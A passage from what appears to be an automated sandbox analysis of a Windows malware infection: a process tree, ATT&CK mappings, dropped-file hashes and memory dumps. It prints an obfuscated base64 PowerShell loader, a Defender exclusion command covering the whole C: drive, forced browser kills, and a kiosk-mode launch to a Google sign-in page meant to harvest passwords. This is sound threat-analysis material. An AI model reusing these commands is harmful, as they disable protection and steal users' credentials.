UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"
                        9⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops startup file
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:4388
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1956
                  • C:\Users\Admin\AppData\Local\Temp\10369560101\423c71f6a3.exe
                    "C:\Users\Admin\AppData\Local\Temp\10369560101\423c71f6a3.exe"
                    7⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4572
                  • C:\Users\Admin\AppData\Local\Temp\10369570101\cbec542b2a.exe
                    "C:\Users\Admin\AppData\Local\Temp\10369570101\cbec542b2a.exe"
                    7⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4352
                  • C:\Users\Admin\AppData\Local\Temp\10369580101\f0dc981162.exe
                    "C:\Users\Admin\AppData\Local\Temp\10369580101\f0dc981162.exe"
                    7⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3912
                  • C:\Users\Admin\AppData\Local\Temp\10369590101\990f64bf1d.exe
                    "C:\Users\Admin\AppData\Local\Temp\10369590101\990f64bf1d.exe"
                    7⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    • Suspicious use of WriteProcessMemory
                    PID:2648
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /F /IM firefox.exe /T
                      8⤵
                      • System Location Discovery: System Language Discovery
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1696
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /F /IM chrome.exe /T
                      8⤵
                      • System Location Discovery: System Language Discovery
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3024
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /F /IM msedge.exe /T
                      8⤵
                      • System Location Discovery: System Language Discovery
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1796
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /F /IM opera.exe /T
                      8⤵
                      • System Location Discovery: System Language Discovery
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4444
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /F /IM brave.exe /T
                      8⤵
                      • System Location Discovery: System Language Discovery
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1616
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                      8⤵
                        PID:4080
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                          9⤵
                          • Checks processor information in registry
                          • Modifies registry class
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SetWindowsHookEx
                          PID:3900
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2012 -prefsLen 27099 -prefMapHandle 2016 -prefMapSize 270279 -ipcHandle 2092 -initialChannelId {aff80914-de93-45e3-9a78-26d9bc487f44} -parentPid 3900 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3900" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                            10⤵
                              PID:1140
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2488 -prefsLen 27135 -prefMapHandle 2492 -prefMapSize 270279 -ipcHandle 2500 -initialChannelId {9b1a3640-190c-4aa9-81e8-e5a7c57026fb} -parentPid 3900 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3900" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                              10⤵
                                PID:4364

            Network

            MITRE ATT&CK Enterprise v15

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            1
            T1059

            PowerShell

            1
            T1059.001

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Persistence

            Boot or Logon Autostart Execution

            2
            T1547

            Active Setup

            1
            T1547.014

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Privilege Escalation

            Boot or Logon Autostart Execution

            2
            T1547

            Active Setup

            1
            T1547.014

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Defense Evasion

            Modify Registry

            2
            T1112

            Virtualization/Sandbox Evasion

            2
            T1497

            Credential Access

            Unsecured Credentials

            1
            T1552

            Credentials In Files

            1
            T1552.001

            Discovery

            Query Registry

            6
            T1012

            System Information Discovery

            4
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            Virtualization/Sandbox Evasion

            2
            T1497

            Lateral Movement

            Collection

            Data from Local System

            1
            T1005

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
              Filesize

              2KB

              MD5

              25604a2821749d30ca35877a7669dff9

              SHA1

              49c624275363c7b6768452db6868f8100aa967be

              SHA256

              7f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476

              SHA512

              206d70af0b332208ace2565699f5b5da82b6a3806ffa51dd05f16ab568a887d63449da79bbaeb46183038837446a49515d62cb6615e5c5b27563cd5f774b93f5

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              Filesize

              53KB

              MD5

              0bf8f2ab89fdd0122cb4feab8c6d834f

              SHA1

              d6d064bceb0c0b974395c64a0beb4559937ce27b

              SHA256

              63d67c5d596e43949664f137222572cea92080ded57140498588138decc3895c

              SHA512

              992bb7b3643fb8fab36dda775fba2945953e8bdd1aefbc769ed007ae09bbaa676c0da0dce3d1d7890b3ccdcba92b9efe7348394c1b5fbc7da30cb3eabbdf1d23

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              Filesize

              53KB

              MD5

              06ad34f9739c5159b4d92d702545bd49

              SHA1

              9152a0d4f153f3f40f7e606be75f81b582ee0c17

              SHA256

              474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

              SHA512

              c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              18KB

              MD5

              c7982c782d99cc3360e1910180c7488e

              SHA1

              c03965661f9588e4665217f2fa309e89df5c2940

              SHA256

              fe4ad7b443c3accff0563d2461d2ea2f5dfec738efd5239371780f766446e89d

              SHA512

              53d78f0c29323e407d05bba78e7fdb689bd172ab2e9a53bceb067b5ecf768252386ba1799ef5158c8c2a10ec918ba446cb7c6c097b801981f2c0396ad825e491

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              20KB

              MD5

              f15455f693d4697234b00c478f5f4b3b

              SHA1

              8897e5eb538749bc91741fde3e071e0de880cb36

              SHA256

              8ed5295bb789a410e8175a975f0f6261c20a7771233253a7edea544ab78e6e20

              SHA512

              4f774ab67502054ddc2bff2564234a0c707d47069eebad1faaf93cf784cb3e4b851a4f0d6d63a6ee086358e15f315f9e98e8cdfcf6379f65bfc5d9c9ac976d18

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              16KB

              MD5

              91b35aba849c778e614a4488caa27456

              SHA1

              514a6430660cdcbbc4e6162c6d7ad32c800259a5

              SHA256

              784a7f99edafca53d4408c3df17d1d4f1416119d1ce31044b43705a2f57f8ef1

              SHA512

              24f22affe85d590905492e4bd62983b238a6e5ccd140e4bbfea29c8acfc1b092a70536fb6767777390bbe430d783323a450606856b2d8ae06e0a3b7ce720b06a

              Download Submit

            • C:\Users\Admin\AppData\Local\TempGNGMXVZL018KNZFOI1GXGP6HYUIIOA7J.EXE
              Filesize

              1.8MB

              MD5

              8b9c70f6c54237a5a7cad4b678701cc7

              SHA1

              651a499d3689c3a3eab98bbc71f61bdffd3d1916

              SHA256

              cca43069b3a39dc378a3b931a4ef2a9af6d181fad1cf3e40319d02fb3ca0b70c

              SHA512

              005bdf2dd1cc5655a7e9b76050e712d36c3d708648df2487b39491dc43b069862c68c0fc470badfcba87e483daf7a873c58d1751ffa30765bd2c61e8604952e0

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\10369541121\8BNn7ce.cmd
              Filesize

              1.4MB

              MD5

              2f0f5fb7efce1c965ff89e19a9625d60

              SHA1

              622ff9fe44be78dc07f92160d1341abb8d251ca6

              SHA256

              426b6e77a4d2e72edf8cd6177578a732ca05510b56cb58d938d6e25820dc2458

              SHA512

              b8587d32e98693f08c9c3776ac4168204d76dd6db0d76c6afc815d6727d745f6137ae83fe85a7562517b37c320ddebc27167a9f3f14dacca33954dbe437dc920

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\10369560101\423c71f6a3.exe
              Filesize

              1.8MB

              MD5

              d0cbe9aac0d5776545e7d4b711d6f821

              SHA1

              628b4b7c5f1b207f09b1df48ea0eb1e854d0214e

              SHA256

              ceac78262795d24823183f8117e6f4c779ac65f4fb1d7144dcc7187e5a09a38f

              SHA512

              f0f73350a709ea244fc89ea73dda7993ad0b3b2e8394809954bfb33b44424c50138a461fe50bf61914028ab34ab908e36aea3fafcfd1dc8ec5dfd96f6ae3278d

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\10369570101\cbec542b2a.exe
              Filesize

              2.8MB

              MD5

              ecff590568143edfc92c573a5eae5233

              SHA1

              0071b9e96909531a2ccab14061dd6df27d9db7a3

              SHA256

              6b49588779d6a9c56b2d433acea7d57783694e21b48713319ed3374c45665fc5

              SHA512

              a222c6987ae5aaa966df181c2269668750fabe210c4d73dc7605b8881b17699de0c1a8b0f753ceb670979356aa8ba03e82fffe766c30ca00d8af46c0f0153351

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\10369580101\f0dc981162.exe
              Filesize

              1.8MB

              MD5

              ae29aa6f4a0e1b29afe1b1b8ca912adf

              SHA1

              a05d14e2ed51a4eeebe8103aad6807051677b5c6

              SHA256

              f2edd51e6e92a4fe11bd6a86183fd0e34c87fe2c98f3f268d0cdc16d63124ac5

              SHA512

              79aae0dc84427fbe4a9f634e491f248363b2ad8115d98e6f447d80a71866def6b2e5e479480588b64b944afd71c598b2cdf1533719dd073a1de87c343c8b4589

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\10369590101\990f64bf1d.exe
              Filesize

              947KB

              MD5

              25849e9a78cc4611472b9e21f1869fe6

              SHA1

              7a0b59f1930f74915c0aaec93a8c8767d58e3cc6

              SHA256

              1d74d1344f690739b1d726b7da10f871839407a5b08f7d3f3b65d2cf41489c64

              SHA512

              a49e277c3d0152f65e68dbe304a26ff1b64c3f985ac98e78b215f3f916820d387e22d32f24ccc02aad20d8bf57ae60b8533943d724a4f2a8339aa8c07d7afb42

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\57eWcAIlxwDt.exe
              Filesize

              428KB

              MD5

              dfabbb3c4d45f87da8adbbde240e5796

              SHA1

              2e010a62c7147744af7bc615b57f938ea2f732ef

              SHA256

              6570ced9d2ebe2b34b8ae2289a0300c4cb4333e850cbdda6518530f4b381e053

              SHA512

              3ecf485ee7dfd095bd862fe6b1146f3b26cb6908141f41f5419e007e7a1486a75c65030645e541e6c63fb905d595e5140f150c1859699ad3f288b619b3dda270

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\Admin2.txt
              Filesize

              385KB

              MD5

              d53af9cbf5b99df675e3787d0ce03463

              SHA1

              008a0736fb312875ab5af23ff8bedb7bdf1f90cd

              SHA256

              7fe77d4f75a9dc0670993f5f407324b411bca7eba687738d527cd5fc0f8bb1e6

              SHA512

              4c439a912414187de9145c8b954e28c88f0dfb6fcbca5bedfe629641cbb9f69286fd30f2053abd3848074d34716f4734456dd9d216514080625d66ef81930195

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0pwnatea.anc.ps1
              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\l2lAKvTWX.hta
              Filesize

              717B

              MD5

              f9ec8492887004b3e33a59f80e101d44

              SHA1

              bf1abc0efb4ea8f4b369df9fb2bd64daef10c547

              SHA256

              fded9f7ff1882c13af9bb506e3cf51cc662adafe11b179409f4d3e543c4f54da

              SHA512

              3248c70e4fbba259858eff5771494e0f9a40aa276e45f383ee110fdc4f1a97f476b6a4dcbd5eb5f8455ad03e403335a1be17f3fed221f3c80bd5cbc580f18811

              Download Submit

            • memory/1012-33-0x0000000000210000-0x00000000006B6000-memory.dmp

              Filesize

              4.6MB

              Download

            • memory/1012-47-0x0000000000210000-0x00000000006B6000-memory.dmp

              Filesize

              4.6MB

              Download

            • memory/1052-6-0x0000000005820000-0x0000000005886000-memory.dmp

              Filesize

              408KB

              Download

            • memory/1052-5-0x0000000005040000-0x00000000050A6000-memory.dmp

              Filesize

              408KB

              Download

            • memory/1052-23-0x0000000007280000-0x0000000007316000-memory.dmp

              Filesize

              600KB

              Download

            • memory/1052-2-0x0000000002860000-0x0000000002896000-memory.dmp

              Filesize

              216KB

              Download

            • memory/1052-20-0x0000000006370000-0x000000000638A000-memory.dmp

              Filesize

              104KB

              Download

            • memory/1052-3-0x0000000005180000-0x00000000057A8000-memory.dmp

              Filesize

              6.2MB

              Download

            • memory/1052-24-0x0000000004BD0000-0x0000000004BF2000-memory.dmp

              Filesize

              136KB

              Download

            • memory/1052-17-0x0000000005E40000-0x0000000005E5E000-memory.dmp

              Filesize

              120KB

              Download

            • memory/1052-19-0x0000000007780000-0x0000000007DFA000-memory.dmp

              Filesize

              6.5MB

              Download

            • memory/1052-16-0x0000000005990000-0x0000000005CE4000-memory.dmp

              Filesize

              3.3MB

              Download

            • memory/1052-18-0x0000000005E90000-0x0000000005EDC000-memory.dmp

              Filesize

              304KB

              Download

            • memory/1052-25-0x00000000083B0000-0x0000000008954000-memory.dmp

              Filesize

              5.6MB

              Download

            • memory/1052-4-0x0000000004FA0000-0x0000000004FC2000-memory.dmp

              Filesize

              136KB

              Download

            • memory/1392-279-0x0000000001680000-0x0000000001681000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1392-278-0x00000000013C0000-0x00000000013C1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1600-128-0x0000000007EF0000-0x0000000007F0A000-memory.dmp

              Filesize

              104KB

              Download

            • memory/1600-102-0x0000000007B10000-0x0000000007B42000-memory.dmp

              Filesize

              200KB

              Download

            • memory/1600-116-0x0000000007E50000-0x0000000007E61000-memory.dmp

              Filesize

              68KB

              Download

            • memory/1600-126-0x0000000007E90000-0x0000000007E9E000-memory.dmp

              Filesize

              56KB

              Download

            • memory/1600-127-0x0000000007EA0000-0x0000000007EB4000-memory.dmp

              Filesize

              80KB

              Download

            • memory/1600-114-0x0000000007BA0000-0x0000000007C43000-memory.dmp

              Filesize

              652KB

              Download

            • memory/1600-129-0x0000000007EE0000-0x0000000007EE8000-memory.dmp

              Filesize

              32KB

              Download

            • memory/1600-115-0x0000000007CB0000-0x0000000007CBA000-memory.dmp

              Filesize

              40KB

              Download

            • memory/1600-113-0x0000000006EC0000-0x0000000006EDE000-memory.dmp

              Filesize

              120KB

              Download

            • memory/1600-103-0x000000006FA50000-0x000000006FA9C000-memory.dmp

              Filesize

              304KB

              Download

            • memory/1956-162-0x0000000006E00000-0x0000000006EA3000-memory.dmp

              Filesize

              652KB

              Download

            • memory/1956-164-0x0000000007180000-0x0000000007194000-memory.dmp

              Filesize

              80KB

              Download

            • memory/1956-163-0x0000000007130000-0x0000000007141000-memory.dmp

              Filesize

              68KB

              Download

            • memory/1956-152-0x000000006FA50000-0x000000006FA9C000-memory.dmp

              Filesize

              304KB

              Download

            • memory/2292-224-0x00000000070F0000-0x0000000007193000-memory.dmp

              Filesize

              652KB

              Download

            • memory/2292-214-0x000000006FA50000-0x000000006FA9C000-memory.dmp

              Filesize

              304KB

              Download

            • memory/2292-225-0x0000000007480000-0x0000000007491000-memory.dmp

              Filesize

              68KB

              Download

            • memory/2292-226-0x00000000074A0000-0x00000000074B4000-memory.dmp

              Filesize

              80KB

              Download

            • memory/3376-228-0x0000000000440000-0x00000000008E6000-memory.dmp

              Filesize

              4.6MB

              Download

            • memory/3376-183-0x0000000000440000-0x00000000008E6000-memory.dmp

              Filesize

              4.6MB

              Download

            • memory/3376-262-0x0000000000440000-0x00000000008E6000-memory.dmp

              Filesize

              4.6MB

              Download

            • memory/3376-77-0x0000000000440000-0x00000000008E6000-memory.dmp

              Filesize

              4.6MB

              Download

            • memory/3376-48-0x0000000000440000-0x00000000008E6000-memory.dmp

              Filesize

              4.6MB

              Download

            • memory/3376-78-0x0000000000440000-0x00000000008E6000-memory.dmp

              Filesize

              4.6MB

              Download

            • memory/3624-73-0x00000000064A0000-0x00000000064EC000-memory.dmp

              Filesize

              304KB

              Download

            • memory/3624-135-0x000000000CA20000-0x000000000CA70000-memory.dmp

              Filesize

              320KB

              Download

            • memory/3624-80-0x0000000007550000-0x0000000007648000-memory.dmp

              Filesize

              992KB

              Download

            • memory/3624-137-0x000000000CED0000-0x000000000D092000-memory.dmp

              Filesize

              1.8MB

              Download

            • memory/3624-76-0x00000000072E0000-0x0000000007372000-memory.dmp

              Filesize

              584KB

              Download

            • memory/3624-79-0x0000000002950000-0x0000000002958000-memory.dmp

              Filesize

              32KB

              Download

            • memory/3624-136-0x000000000CB30000-0x000000000CBE2000-memory.dmp

              Filesize

              712KB

              Download

            • memory/3624-71-0x00000000059E0000-0x0000000005D34000-memory.dmp

              Filesize

              3.3MB

              Download

            • memory/3624-133-0x000000000C8C0000-0x000000000C8CA000-memory.dmp

              Filesize

              40KB

              Download

            • memory/3624-132-0x000000000C740000-0x000000000C75A000-memory.dmp

              Filesize

              104KB

              Download

            • memory/3624-131-0x000000000C5C0000-0x000000000C714000-memory.dmp

              Filesize

              1.3MB

              Download

            • memory/3624-138-0x000000000D0A0000-0x000000000D0EE000-memory.dmp

              Filesize

              312KB

              Download

            • memory/3624-140-0x000000000D330000-0x000000000D342000-memory.dmp

              Filesize

              72KB

              Download

            • memory/3624-143-0x000000000D390000-0x000000000D3CC000-memory.dmp

              Filesize

              240KB

              Download

            • memory/3912-244-0x0000000000580000-0x0000000000C2A000-memory.dmp

              Filesize

              6.7MB

              Download

            • memory/3912-243-0x0000000000580000-0x0000000000C2A000-memory.dmp

              Filesize

              6.7MB

              Download

            • memory/4352-202-0x0000000000480000-0x0000000000788000-memory.dmp

              Filesize

              3.0MB

              Download

            • memory/4352-200-0x0000000000480000-0x0000000000788000-memory.dmp

              Filesize

              3.0MB

              Download

            • memory/4556-274-0x0000000010410000-0x0000000010480000-memory.dmp

              Filesize

              448KB

              Download

            • memory/4556-277-0x0000000010480000-0x00000000104F0000-memory.dmp

              Filesize

              448KB

              Download

            • memory/4572-185-0x0000000000810000-0x0000000000CAF000-memory.dmp

              Filesize

              4.6MB

              Download

            • memory/4572-180-0x0000000000810000-0x0000000000CAF000-memory.dmp

              Filesize

              4.6MB

              Download